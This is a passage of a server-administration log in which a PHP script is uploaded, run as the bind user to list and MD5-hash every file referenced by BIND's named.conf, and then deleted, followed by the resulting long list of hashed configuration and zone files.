MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:45:36: Establishing a connection
2026-04-23 14:45:37: 

PUT: /tmp/pkp714228

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:45:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp714228; rm /tmp/pkp714228'

2026-04-23 14:45:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
